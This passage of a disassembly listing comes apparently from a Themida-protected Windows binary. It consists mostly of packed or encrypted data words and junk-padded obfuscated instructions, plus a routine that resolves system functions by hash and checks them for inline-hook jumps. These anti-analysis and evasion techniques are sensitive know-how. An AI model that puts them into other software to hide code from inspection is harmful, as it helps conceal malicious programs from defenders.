0AD004232h, 94006A0Ah dd 74D72CF3h, 47D82252h, 0A8334393h, 15661131h, 9C890165h dd 0FC3B1BCBh, 1566223Ah, 0C26BC153h, 0FCEC706h, 156605DBh dd 0D7E74232h, 43796BE5h, 400746B9h, 1566428Fh, 9E8FAB32h dd 0D1E5351Eh, 368F7036h, 1A664432h, 156628B9h, 9E007132h dd 64230C5h, 43072423h, 341A6E8Ch, 0AEDC431Bh, 9CB056B1h dd 0E4671EE3h, 0B195D76Ch, 15689A3Dh, 1C8F8832h, 0A4664432h dd 4F3DC990h, 0AFA9C97Ah, 24EB03CAh, 1A605114h, 156623B0h dd 0DCE3E832h, 15780D3Dh, 73064432h, 0D337C0B3h, 0EEAF9054h dd 0A0EFE942h, 13736203h, 1560A13Dh, 1A061132h, 749E5885h dd 464248B9h, 0D6E7C1BBh, 15661136h, 92624BB1h, 753A602Eh dd 0D6E744C7h, 0E907DA86h, 7E683361h, 432D40DAh, 71246A8Ch dd 4B953833h, 0C25A4BB3h, 0CDEFB849h, 1A354269h, 156611BFh dd 0D607D332h, 239922CAh, 3162A954h, 1564D5B3h, 96698832h dd 15664426h, 15662DDBh, 435A0432h, 0AB16111Fh, 3A038223h dd 0AE48473Dh, 156619DBh, 0B4BDA132h, 0B8FB0D33h, 1AA51E32h dd 1567D6B6h, 9D347132h, 0C5EE14F0h, 4F3EE1BAh, 4E344752h dd 1563616Ah, 0B464432h, 7469A575h, 15759D3Dh, 1B8F8832h dd 0E1664432h, 0FC23B5A1h, 40618A8Dh, 168BBEA2h, 0A73422B4h dd 73B502C2h, 944205B9h, 15668AF6h, 94002432h, 9EA37CFDh dd 0EEE670E8h, 0B9E28742h, 0EC664431h, 9169CB0Eh, 1566105Ah dd 15669ADBh, 35A05632h, 2EEFDE76h, 0BD580736h, 37A44591h dd 2939ABBDh, 5CE22DD9h dd 75661133h, 6B800852h, 4A0FC53h, 29074D5Bh, 20E21EF0h dd 0ED668833h, 91698F0Eh, 1566231Eh, 15699F3Dh, 1F8F8832h dd 664432h, 5E5DB41Fh, 0B57D8142h, 0EA5BEE27h, 18E24B17h dd 75662233h, 0FDF4A152h, 15668820h, 10FC2A48h, 4BC581A4h dd 0A7E0CD6Dh, 2DAF7B01h, 7439DBEAh, 74D3E3B2h, 9169DB0Eh dd 156688D6h, 157BC33Dh, 9B692232h, 15661125h, 15669ADBh dd 0E55E7532h, 1D9F1C7Bh, 841F39A4h, 823C304Bh, 0FC19E9B0h dd 15662221h, 362A0351h, 3F0B5691h, 0C69B6DEFh, 8BA6B0D4h dd 2929A787h, 0C9E287D1h, 1A664430h, 15662EB2h, 13EF1E32h dd 1A668832h, 156644B1h, 3B5B4432h, 47E31ECDh, 0FC668832h dd 1566443Ch, 1765AB06h, 0D08CC621h, 6F2CF4C2h, 0AC37A827h dd 15662230h, 4996F8B3h, 0E467E32Bh, 499685B3h, 14EC492Bh dd 0F9E7ED6Bh, 15668836h, 0A64258BBh, 9EA5A2F1h, 35D8E2B2h dd 2993D3EAh, 28E24B92h, 0FC662232h, 15661137h, 0F15F345Fh dd 15DB11B7h, 9C662232h, 314A9ADAh, 15624CB3h, 73064432h dd 0FC064C8Dh, 15661137h, 0D269A9F1h, 6B8F25DEh, 1A662232h dd 156616BFh, 0FFE6E832h, 74A4CE3Bh, 335797BBh, 73061727h dd 737D1C8Bh, 746C028Dh, 8394BFBFh, 0FC9A1729h, 1566883Dh dd 4BA616A5h, 65FCE9ACh, 0F26A9EFBh, 0EAF3A6E5h, 0AB0024E1h dd 0CDED6D2Ch, 68DC4353h, 941E090Eh, 8D5F57D8h, 4BDF735Dh dd 1C3AC52Dh, 0FFE7D1F8h, 659C0EB4h, 1EACA370h, 947C176Bh dd 13BB72D8h, 4FB6CDCCh, 156DAB3Dh, 138F1132h, 0D1668832h dd 1ED48A5Bh, 9C69E152h, 1566113Ah, 15640D3Dh, 74064432h dd 151F1F5Ah, 31629832h, 5DFD9CEh, 14664432h, 4D57DDC3h dd 9169716Bh, 15668837h, 0C66C4A88h, 90EF4328h, 13730D8Fh dd 315277C7h, 11A2C56Ah, 0E0662232h, 661A962h, 0CD91A87Fh dd 4ED4417Ah, 0CD9120DDh, 206EF1F3h, 48D1DE2Eh, 0ED3E8233h dd 140F9FBFh, 99691727h, 15668822h, 15664FDBh, 72CA9332h dd 44D78434h, 2270D76Ah, 0C3D14B52h, 0B807C280h, 15739F3Dh dd 58F8832h, 84664432h, 97C6E09h, 6D355FCBh, 363128BFh dd 107FCB4Eh, 7C246468h, 31425531h, 533C3567h, 0FD4F2D70h dd 9400426Fh, 1A762DD9h, 0BE07588Dh, 1567CF3Dh, 1A9E2232h dd 156610B1h, 0A8EB7032h, 1373743Bh, 1567AD3Dh, 0EC9A1132h dd 0CBE7E89Fh, 5EBB49F6h, 1569CA64h, 7D91132h, 4BE9222h dd 0FC7B402Ah, 3B888D5h, 74394B52h, 2979D437h, 38B66947h dd 516512CEh, 0C5633516h, 3856741Fh, 605A5B6Eh, 0DDED4452h dd 0DCE77752h, 19DC5411h, 743A55E6h, 0CFE74253h, 3E458011h dd 74A50354h, 151FD95Ah, 3162AB32h, 9E00E452h, 9E06E9C5h dd 0EDCD25CBh, 156627DBh, 8E4B632h, 0A8EBEDB5h, 137366BBh dd 128F8FCBh, 2C661132h, 0EBBEA930h, 0F24BC812h, 38175B6Dh dd 353070A5h, 3D42CC31h, 4307D337h, 4A812712h, 1A8F604Bh dd 20668832h, 0C148700Ah, 27D9A838h, 34F15D6h, 1ACDFB3Bh dd 15664CB4h, 17EC2D32h, 75661132h, 156D6153h, 0F8784432h dd 5E451669h, 0BA963F2Ah, 31520323h, 9485CD61h, 156626F1h dd 11A59032h, 92668832h, 0E93A602Eh, 0CCE742F1h, 605215FCh dd 94075EB9h, 156640DEh, 3152AB32h, 5AFB9CCEh, 756093A4h dd 156641DAh, 0F4EE8332h, 943CADABh, 89F0E1F5h, 94062529h dd 0CD5696F9h, 9E697136h, 15668832h, 15664FDBh, 3BF17432h dd 0C7747067h, 56D73F09h, 0C6992553h, 15662ADBh, 0F6FFEF32h dd 6100E3D7h, 2F8FBDD5h, 0FC99DDCFh, 15661134h, 7CF3863Ah dd 0CEDFBC2Fh, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 59C19CC0h dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43965394h dd 0C132DCF1h, 0BA8C096Dh, 0A8EDD871h, 458A42C3h, 58DDAEA2h dd 0C88260D5h, 48EE9F38h, 0DF07462Ch, 52B41637h, 3C6D5h dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 3508FA7h, 0D9FB57BEh dd 59CD80B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh dd 0B232DCAAh, 168C096Ch, 133DCB2Fh, 96751336h, 0BD54142Bh dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 499D8D00h dd 0B8061534h, 23E4h, 90D8589h, 0E80615h, 58000000h, 0D05h dd 0E9038900h, 23E4h, 47h dup(0) dd 0F305E983h, 3CB8BA4h, 5657B6DBh, 0C2DD3032h, 4EED3849h dd 0BE1F5DB9h, 5675B132h, 43503068h, 595BAAF4h, 56AEB0BDh dd 36AB4432h, 56ABB6DBh, 0E5543832h, 0BEE30CECh, 83D60BBFh dd 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 4C17FB23h, 25FB668Bh dd 0FDF53FD5h, 69CB5EADh, 0B7342291h, 23AC7ACFh, 20AD29B7h dd 75FD7A1Ah, 987C2779h, 73E14DE6h, 4056FFA0h, 0F305E983h dd 8DDB8BA4h, 1C8832BDh, 0C38D8D06h, 0B8061D0Eh, 32156644h dd 0E9C1CF2Bh, 0D0073102h, 4C783C8h, 0FF67549h, 586h, 50F56000h dd 12E9615Eh, 0C2000000h, 0B07645E2h, 581A33Ch, 6AFF4A4Bh dd 0CF3B8A6Eh, 0C2895287h, 0FC5A5852h, 8F5BD83h, 75000615h dd 0ADBD8309h, 61503h, 53501974h, 11B8C08Bh, 89000004h dd 1502A185h, 59D8D06h, 0FF0617ABh, 83585BD3h, 1503ADBDh dd 17740006h, 11B85350h, 89000004h, 1502A185h, 0A69D8D06h dd 0FF0617A7h, 0E9585BD3h, 13h, 509D0A59h, 8DE23AA6h, 49403592h dd 0E745DDEEh, 0F558FA36h, 242C8150h, 598B061Eh, 1EBF5758h dd 1598B06h, 8F0F5FF8h, 15h, 10E9h, 421BFA00h, 4B9EDEA2h dd 0C6163C55h, 5534F5ECh, 8D8DF82Fh, 61D1304h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 27C35141h, 0FEFA049Fh dd 1DF1958Bh, 8D890615h, 6152721h, 85C7FA8Bh, 61504CDh dd 614Ch, 7EBCBA66h, 111585C7h, 615h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0FFFCB2C3h, 237D6A2Ch, 1501F995h, 49B5FF06h, 6A06152Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 6DC5C356h, 3B39FD1Fh, 79E9F754h, 0FFD78B66h dd 1502C995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0D25029A6h, 8529C3E1h, 6152F0Dh dd 95FF006Ah, 6152E21h, 2CEBC08Bh, 0CB1F4BF8h, 318F2495h dd 301D95DAh, 6D24036Bh, 0FAB58A08h, 3ED50225h, 0FA788A6Dh dd 2E0BF00Ah, 9AA192C1h, 921CC58Eh, 409E25CEh, 12E8h, 7FE72400h dd 0CAD34110h, 12624605h, 697C6595h, 0E8132C76h, 0Eh, 90C5CA93h dd 958B36C6h, 0DA0E6764h, 0BF0F8D3Ch, 8B5B5FFEh, 1527CD85h dd 61C38106h, 60000073h, 0BDBB70Fh, 1505159Dh, 0C9336106h dd 9E953h, 0D24A0000h, 2A1CBD03h, 58573356h, 0F0B348Bh dd 0C681C0B7h, 3D93421h, 8860Fh, 89570000h, 150C099Dh dd 0EE815806h, 5D67669Ah, 3C1BD8Bh, 0F6810615h, 155BC90Eh dd 895680B6h, 1525958Dh, 0B048F06h, 0BB9B589h, 0BA660615h dd 0E983E707h, 81F94903h, 0FF8D64F9h, 12850FFFh, 8B000000h dd 152251BDh, 18E906h, 536A0000h, 0B9719414h, 75BD8B70h dd 0E9061534h, 0FFFFFF90h, 0D63D77DFh, 37E982F3h, 43000000h dd 4DAC17h, 0Ch dup(0) dd 79E90000h, 68000004h, 61D1569h, 0F86A05E9h, 15EE68FFh dd 0FBE9061Dh, 68FFF869h, 61D16FFh, 0F869F1E9h, 0B82886FFh dd 73E346DDh, 0C0308DA2h, 0A7AFE35h, 0C636B46Bh, 8033782Fh dd 2C039202h, 65BA5BCBh, 31FE9707h, 409362D2h, 0E662A71Eh dd 8809169Bh, 143D08D6h, 0D7169BE6h, 44DF8C6h, 0E7169BE6h dd 240034D6h, 536056C6h, 69F580F0h, 0F289D073h, 0A3741086h dd 0C2DD1C7h, 86F21039h, 79E94E10h, 5D9F6C7h, 1B3E05D7h dd 0E21086F2h, 0F22D74D1h, 0D76E1086h, 1086F2B2h, 0E7B86839h dd 62B3103h, 7CFF34A4h, 55350A0Ch, 9C1B9A66h, 24122316h dd 93DB7CA1h, 1F8E0916h, 0BD42BF2Ah, 2BC459Dh, 0B2610000h dd 0C0E1955Ch, 86F2DC05h, 0A18E9F10h, 0FB22269Dh, 7A4B169Bh dd 526521A4h, 4EF20BF9h, 90F3401Eh, 51F44A20h, 15E67989h dd 0A973A374h, 0D2B82888h, 0D6E818E8h, 0BA0A001h, 0CBBF7920h dd 0ABCBBA89h, 2F281F13h, 0BA17E988h, 5B951B1h, 22D9D18h dd 474F73Ch, 0D141C271h, 4C7F2D4Ch, 0C44036AEh, 2C6h, 34C1318Dh dd 6B0A7AFFh, 2CC939B4h, 740171F7h, 2ACB3BBFh, 0FF833E6Dh dd 0B639E68Fh, 480AF46h, 0D1320194h, 1B439461h, 9BE761A8h dd 0B18B0C16h, 3BBF0BABh, 0F2266BDAh, 0F4C51086h, 194003DBh dd 0E41086F2h, 63E2FCD3h, 16A40636h, 0C9EAF4C5h, 0F7E5F969h dd 9BE6054Ch, 5FE6E816h, 169BE63Ah, 2BDFF0C1h, 0FF6FD360h dd 0E6123CB7h, 0E546169Bh, 0E698C184h, 5263169Bh, 287BA07Dh dd 0CAECB7D4h, 2416Ah, 44B41200h, 8FFF82B1h, 4CBC39E6h dd 86F67AA9h, 52C240EFh, 0ECA7E4C3h, 0A8771E8Eh, 0F13ED747h dd 0DD522393h, 0BC07EE5Eh, 0E7EE3392h, 0C8D169Bh, 0DB0BAB30h dd 4003D903h, 1086F219h, 8C37D3E4h, 16A4064Dh, 9C171F30h dd 169BE671h, 78FB38FEh, 88376208h, 0C5323CC1h, 174C49Dh dd 4FD80000h, 7D6DDD62h, 77BF2F8Ch, 0FC99096Ah, 3CBE0AAEh dd 68DBE3CCh, 169BFB30h, 4BAAECBDh, 1693FB02h, 0B09944EBh dd 9DBD274Dh, 20D3h, 0BABE700h, 0F04003DBh, 8D169BF5h dd 0D2FB7ABCh, 9B1693F1h, 0FD80C9F4h, 839DBD1Ch, 0C7h dd 57C72497h, 80F0525Fh, 0AE1E9D96h, 88F87B68h, 0F15061EDh dd 7BB89581h, 0B38C8AFAh, 0F783ECD7h, 16951086h, 17E7CFA6h dd 0AC05D7E7h, 3059EC4Dh, 0BB1086F7h, 0FCD1C5EAh, 9F61AF0Eh dd 0F18169Eh, 62EC8E5Dh, 567B4AEAh, 15169124h, 87E82B04h dd 0D263817h, 0CB583DADh, 0EF26F767h, 6CB7D965h, 130EA4Ah dd 0A3230000h, 6CCD6233h, 0AB0A19FCh, 63C55A3Bh, 0AD0D22F3h dd 4843583Dh, 9065D555h, 0C9AC1CA3h, 8B6ADA5Ah, 0CEA71794h dd 276AD905h, 0C6169BE4h, 624FF745h, 72486FDFh, 0C86A9BD0h dd 0A22011F9h, 0E5F76332h, 86073B5Eh, 58D5C210h, 0FED1AEE8h dd 109C1F0Ch, 876E41B1h, 0E72A99C3h, 86108607h, 245DD5B5h dd 47B73BC7h, 0D0F5864Fh, 627FCBB4h, 825C624Dh, 86B49EC3h dd 9E4C5D10h, 90008370h, 0EC3590CEh, 21086B4h, 34090D7Dh dd 0C4CFBB8Ch, 4C1242F6h, 9C07B679h, 0DAE4B516h, 0CE959D9h dd 936464A9h, 62B0A516h, 7F72CBFAh, 0AB84F475h, 0ED9D0D68h dd 0A64FBF3Ch, 8D89F979h, 7125h, 0BAB0100h, 154003DBh dd 0E816A406h, 6ED507D7h, 169BE62Bh, 0D343A5D2h, 13200EFCh dd 7EB540B0h, 2A898DFDh, 5A251472h, 76517CE3h, 6EF085F5h dd 9377E745h, 11B41596h, 4148D1C8h, 4EB1E2B3h, 0C8E7D8DEh dd 67DE00CEh, 4148D622h, 402F960h, 0FDA3D30Ah, 6BCD3E2Ch dd 0AEE858DFh, 0BDB8FED1h, 566614Ch, 0D0330095h, 3CE3660h dd 0EA000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h db 7Ah, 3Ch, 78h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 0F5Ch mov [esp], ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push 61D1462h mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push edi mov edi, ebp push edi pop dword ptr [ecx+8] pop edi push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_581882 ; --------------------------------------------------------------------------- cwde sar dword ptr [eax+61D1854h], cl add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 4Bh, 0BCh, 2Eh dd 73DBE11Ch, 0D2C6FA50h, 7F4EA91Ah, 0E9198D77h, 0FC07C73Fh dd 0BFD4FA4Ch, 6FB85F1Ah, 0DB6E987Eh, 1E454427h, 67B13467h dd 4F8FDA70h, 353DBA52h, 41BB9C2Fh, 3D45C872h, 0A51C8D6Dh dd 9B30F02Ah, 8D3D342Eh, 7CB3E618h, 0EDD6FD11h, 296A7A4Bh dd 0D189EE59h, 230B486Dh, 0AD7D6C6Ch, 0D6986500h, 89E5AD0Ch dd 1CB8985Ch, 0EDE95Eh db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5FB366 proc near ; DATA XREF: Themida_:0057C690o pusha mov ax, ds test al, 4 jz loc_5FB451 mov esi, [ebp+615293Dh] cmp esi, 0 jnz loc_5FB3A3 mov byte ptr [ebp+61509C5h], 45h push 8E726969h push dword ptr [ebp+6151685h] lea eax, [ebp+61872BCh] call eax mov [ebp+6152669h], eax mov esi, eax loc_5FB3A3: ; CODE XREF: sub_5FB366+15j cmp byte ptr [esi], 0E9h jnz loc_5FB3DD lea eax, [ebp+61A9620h] call eax mov edi, [ebp+6150B8Dh] add edi, 1184h mov esi, [ebp+615293Dh] xchg esi, edi mov ecx, 8 rep movsb mov esi, [ebp+615293Dh] lea eax, [ebp+618BF13h] call eax loc_5FB3DD: ; CODE XREF: sub_5FB366+40j mov esi, [ebp+6150DFDh] cmp esi, 0 jnz loc_5FB40E mov byte ptr [ebp+61509C5h], 54h push 0FF4EBEF4h push dword ptr [ebp+6151685h] lea eax, [ebp+61872BCh] call eax mov [ebp+6150DFDh], eax mov esi, eax loc_5FB40E: ; CODE XREF: sub_5FB366+80j cmp byte ptr [esi], 0E9h jnz loc_5FB451 mov esi, [ebp+6150DFDh] lea eax, [ebp+61A9620h] call eax mov edi, [ebp+6150B8Dh] add edi, 1184h add edi, 8 mov esi, [ebp+6150DFDh] xchg esi, edi mov ecx, 8 rep movsb mov esi, [ebp+6150DFDh] lea eax, [ebp+618BF13h] call eax loc_5FB451: ; CODE XREF: sub_5FB366+6j ; sub_5FB366+ABj popa retn sub_5FB366 endp ; --------------------------------------------------------------------------- lea eax, [ebp+61D1937h] mov [ebp+6152C61h], eax lea ecx, [ebp+61D1B09h] push 0 push eax call sub_5FB470 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FB470 proc near ; CODE XREF: Themida_:005FB468p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5FB470 endp ; --------------------------------------------------------------------------- dd 65698DE3h, 52FFC2D8h, 27218D89h, 0BF0F0615h, 0CD85C7C3h dd 0BC061504h, 6A000068h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 1C44C356h, 82A2BEE3h dd 0BF2CA78Ah, 67576D95h, 2A36BA66h, 111585C7h, 615h, 81660000h dd 0FF2739E6h, 152E0DB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0F4104C39h dd 8D260B08h, 2D8D890Eh, 0FF061517h, 1502C995h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0E9D1AEDAh, 0EC17BB43h, 0FF006A74h, 152E2195h, 0EBC08B06h dd 53946E7Ch, 0B216101Eh, 0C68B2923h, 4CFD58CFh, 3CA38994h dd 342E5424h, 0BCD0CA34h, 0FB733332h, 2125330Ch, 0F3299B59h dd 0F18769DFh, 0D5954214h, 0E39300F7h, 7081F4E7h, 0E04FDCB6h dd 0D9E698A1h, 9067661Ch, 0D6D68688h, 0E596FFE6h, 186BE7E0h dd 0A3087C4Eh, 0D0168EEDh, 0A99DADE8h, 8713F2CEh, 39A79DCBh dd 0E4950B6Dh, 27A29551h, 5FC3C647h, 67846EBh, 0A1506E10h dd 0CE50B568h, 30E97Bh, 8F060000h, 74521D12h, 6C6C416Ch dd 7461636Fh, 61654865h, 70h, 14h, 5 dup(0) dd 30E90000h, 68000012h, 61D1E08h, 0F86285E9h, 1F1A68FFh dd 7BE9061Dh, 68FFF862h, 61D216Dh, 0F86271E9h, 228468FFh dd 67E9061Dh, 68FFF862h, 61D25B2h, 0F8625DE9h, 268068FFh dd 53E9061Dh, 68FFF862h, 61D26BFh, 0F86249E9h, 27E568FFh dd 3FE9061Dh, 68FFF862h, 61D28A4h, 0F86235E9h, 28F968FFh dd 2BE9061Dh, 68FFF862h, 61D2AF6h, 0F86221E9h, 2C0668FFh dd 17E9061Dh, 60FFF862h, 909F76E6h, 0FF34C131h, 0B8670E7Eh dd 0F62DC838h, 3A710474h, 4CBC3E71h, 85F57AA9h, 51C143F0h dd 9C0C6FC4h, 4500CEF9h, 169BEE1Ch, 241E1EDFh, 525F57C7h dd 805789F1h, 8F1D12F6h, 0BB94BB2Bh, 9E06667Bh, 0E0E14640h dd 0EA2C03C0h, 381D3F0Bh, 47BD0070h, 2267DEE2h, 0C91086E9h dd 38A712F8h, 0A2BC2C8Fh, 7866D5B5h, 2F96771Eh, 1086BEEAh dd 8FAF8091h, 86BEED34h, 0CBBF9010h, 9F0F73C0h, 5ACA29F6h dd 83E4475Ch, 86BE99C0h, 0E151D710h, 5768D8B5h, 690D9D78h dd 6A9E2539h, 0F3169BB7h, 94171C22h, 8401F224h, 0E54F3B14h dd 93A73F5Eh, 0E8F6C816h, 93A7345Dh, 4E6B716h, 0C227228Dh dd 4A9DBD72h, 34h, 0BF0BAB5Eh, 0D7E7C838h, 9BF5CC6Ch, 28847116h dd 0AE817EB8h, 0F1C00D68h, 97161693h, 8202EF27h, 78212412h dd 852C9E45h, 1D8AEF5Ah, 2C129DBDh, 26000001h, 0B65FC724h dd 0EC3435EAh, 0CD14AF8Fh, 0B01086E3h, 9886B09Fh, 7B552CBFh dd 805EE247h, 862D9CC5h, 9C4E5F10h, 9B9B0B6Fh, 81B52586h dd 0D2A31370h, 0BAB34F88h, 785FCF2Eh, 0FDC10FE4h, 86E90346h dd 31D9EA10h, 86EC6892h, 8FFF7C10h, 4ABA39E6h, 0EA1ADE4Ch dd 25A971D4h, 4B54169Ch, 8F369398h, 16936D4Ah, 9E576031h dd 0C69A3D92h, 6E0CD709h, 1F876E41h, 220F2F5Fh, 45A30A0h dd 8B0EFE41h, 35907D10h, 0D3FCD1C5h, 380BD10Bh, 1CABCE11h dd 0E78ED3DCh, 0D7704C2Dh, 0A12112F8h, 28271740h, 0F159B8C6h dd 0AB970D54h, 0F0DFF01Ch, 0F363C5EEh, 43A77C17h, 70D1E2h dd 0AB977CA5h, 0AD12FF1Ch, 603D123Dh, 0B1C3DCC1h, 4C3094A2h dd 2C00000Fh, 9C9362D2h, 5BC8AD1Dh, 948B6ADAh, 62D1A414h dd 6A570E0h, 38A80A85h, 0F161C65Dh, 3DAD0F24h, 0F868CB58h dd 21A4AA1Dh, 169BECF8h, 243A0283h, 2B8856C6h, 35015EC6h dd 0ED3348A0h, 5703D4C2h, 350F5687h, 8CAE89A6h, 0BCE01DA3h dd 5A048F7Bh, 3066D659h, 0FD7EAB5Fh, 0AB44E88Dh, 4003DB0Bh dd 169BF5F0h, 0FB7ABC8Dh, 1693F1D2h, 80C9F49Bh, 9DBD1CFDh dd 0E083h, 0C7249700h, 0F0525F57h, 6BC89680h, 0C9F49606h dd 1086F7A7h, 2BCA3AB9h, 0F0777F4h, 99A5D5A9h, 0E72A99C3h dd 861086F7h, 22E6D5B5h, 0CB169C00h, 0EB173A09h, 0C5D61693h dd 3B0AD4EAh, 1693EB16h, 930DCCD5h, 0B6D03FA0h, 14A2F199h dd 92A3464h, 2B9B1EAAh, 0F93D12EBh, 75D06604h, 108B74A5h dd 0D040BDF6h, 9D01E9E6h, 0FE81B28Ch, 845ADC8Eh, 0DA69CA2Fh dd 1CAB66B7h, 4C4A6536h, 4A65D557h, 9F0F73A0h, 3DC929F6h dd 724B4BBBh, 0AE1BC05Dh, 2A4CB1C3h, 0E3ACAh, 50C03E00h dd 9B0B6EC5h, 58C825FAh, 920266BDh, 5ECE2C03h, 0F8ABE0B7h dd 0B46B0A7Ah, 0FD32C333h, 0B9660F7Fh, 982BCA3Ah, 0EDCA0FB6h dd 30B1169Bh, 5EC6240Ch, 9BCC34DDh, 680D2212h, 51AC38BBh dd 0DBD8B5E1h, 2DC8E757h, 57C724FFh, 2587D5Fh, 342BAB18h dd 57565E82h, 12F59380h, 0AC38BB78h, 0EEF0DF4Fh, 0C1F565C5h dd 724F1ECCh, 1086332Bh, 0A74EBE3Dh, 2B9AFB78h, 108633E6h dd 9B9BB485h, 81B52586h, 0E7E0CFC6h, 878F884h, 0A70C4E27h dd 0C101D646h, 6E2FECFBh, 94199476h, 1C97A851h, 0ADh, 31A12112h dd 4432A526h, 0E783872Ah, 0BF0BAB33h, 0DCE2CD3Dh, 0DF7FD502h dd 93C00A9Eh, 7BCCCF7h, 7041169Bh, 0F79EBF46h, 0B0671690h dd 22E14CFDh, 30819DBEh, 968664D4h, 71h, 0F296B672h, 0BCF51086h dd 751BCF3Fh, 0F6CD91C1h, 169C0A3Eh, 0C3876E3Fh, 0EBE72A99h dd 0C4861693h, 93EBD801h, 0BD92A316h, 52DE5CCDh, 65517EEEh dd 50D723D3h, 54EFCFE0h, 108EE28Ch, 5ED5A071h, 66286EDEh dd 0DBA0DC71h, 0D3ACEA5Ah, 0D5A0D804h, 8BBB7B35h, 2988A9B3h dd 0EA807DB9h, 0B69CA3BBh, 4D11221Ah, 201686E4h, 94303B2Fh dd 935h, 0E30BABA8h, 1225F386h, 98A68928h, 9BA8352Dh, 5FDDD616h dd 8A9BFBEFh, 93E4298Ch, 26911693h, 7F2792B7h, 0DAD9DBDh dd 89000000h, 86F297B6h, 0CC3FE510h, 5BFFFFFBh, 93B68D4Fh dd 5A1086F2h, 47F7A149h, 0FD52821Fh, 330C0A7Ah, 26F1AB24h dd 567956C6h, 0D585BD88h, 0F1E6169Ch, 55DFD1FCh, 0A1E85B73h dd 4C1693BCh, 2B6547Bh, 5F7E0531h, 281693BCh, 9E0B3E71h dd 409DBD6Ch, 0F62090F3h, 0F2D17119h, 0E5000004h, 0B1F2864Fh dd 0A4BD3EB3h, 86B0F821h, 9DB28310h, 5E57CAEDh, 0D5455780h dd 2F8AB664h, 86C05376h, 61091A10h, 0B63B8737h, 587F5046h dd 0A6D98BD4h, 4C123D57h, 9B9B9179h, 33CBDC16h, 59496E90h dd 53509BCh, 81328A39h, 6233B946h, 318E7B5Ch, 50BAD51Dh dd 4AEE7CBAh, 89EF441Ah, 4A201D19h, 20D051F4h, 9AABA370h dd 9C0C6FC4h, 59C92AF9h, 0E98C09C4h, 0E0645201h, 0BE7h dd 30C53591h, 670E7E03h, 28CD3DB8h, 700575FBh, 26CF3FC3h dd 23873A71h, 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h, 2737A075h dd 9BD3759Ch, 0C577F816h, 0D7488D4Fh, 0E746F634h, 0E4A3E65Fh dd 794A1086h, 0A545B53Ah, 0F77B0764h, 3E5BAF8Fh, 2E01D698h dd 0F5975609h, 725D4046h, 0DA595A44h, 0A8F1546Ah, 5310869Fh dd 4EF2A842h, 9F73962Dh, 29FA1086h, 1F1787EAh, 0F43D012Eh dd 1888E975h, 8EF2FF37h, 827181Eh, 7D69DC62h, 169C77h dd 0A2220F2Fh, 70CC6332h, 6AAF1600h, 16169367h, 169297F7h dd 2684D070h, 0FEC599B6h, 108E5E12h, 0DD4DA809h, 7EB8892Dh dd 0AC5DD6F7h, 949D9F1Ch, 916EA818h, 3A0FBEF9h, 0A3D2C8AFh dd 1335h, 0BAB5100h, 404003DBh, 1D169BFCh, 29AA0A0Ch, 7E000000h dd 9EE30BABh, 0FE861D37h, 0BB542025h, 0B7372E9Ch, 3AF51CA7h dd 0A7781086h, 9F0FB688h, 0DE169B3Ah, 0B6E050B1h, 0BCC0F6D9h dd 0C657C724h, 0BDF14209h, 0D0E46056h, 0A800000Ah, 0E837DE4Eh dd 0A77C1989h, 0F03FD646h, 0DE552090h, 9209EC5Ch, 0D444A619h dd 1D8DF241h, 0D949AB78h, 1484E73Ch, 0BD885681h, 169BD094h dd 4FA69657h, 0A894ED86h, 0C0FFD848h, 7D33D700h, 0A0106DB9h dd 8414AF8Fh, 0F9169C36h, 76F5EE28h, 77FB3806h, 41B10C07h dd 5E80CAA9h, 93A5A2E7h, 5F784916h, 2F16B297h, 7924C65Eh dd 31C747D5h, 34C1F192h, 0BC82B286h, 1B858C9Bh, 0E1D2ED53h dd 0C9C6F060h, 34A81B21h, 393BFB20h, 0B4352E68h, 3509B144h dd 0B8248CE9h, 72893D30h, 2FB3B14h, 0A6B2112Dh, 0D725EE70h dd 2875D0C6h, 0D5290C67h, 53D6735Ah, 0D9D132B3h, 142h dd 0E30BABADh, 6FE52FFh, 31B89FC4h, 80F77CABh, 9FBD81AEh dd 74BF2F92h, 0B6E585F5h, 169C27DAh, 8FA492A3h, 4AD9BC2Ch dd 4F3D79E9h, 0C382E362h, 1693B79Eh, 33634C5Dh, 604FBF3Eh dd 69731B8Ah, 66531C7h, 0AAB7A096h, 0A489098Ah, 2393171Ch dd 0B82792F3h, 0CFFE652Bh, 330B7BF8h, 1FD49E22h, 0AE0B779h dd 0C737B46Bh, 64A874CFh, 40C01AB2h, 6ACDE6D0h, 0DBB4D202h dd 0D7F84FE9h, 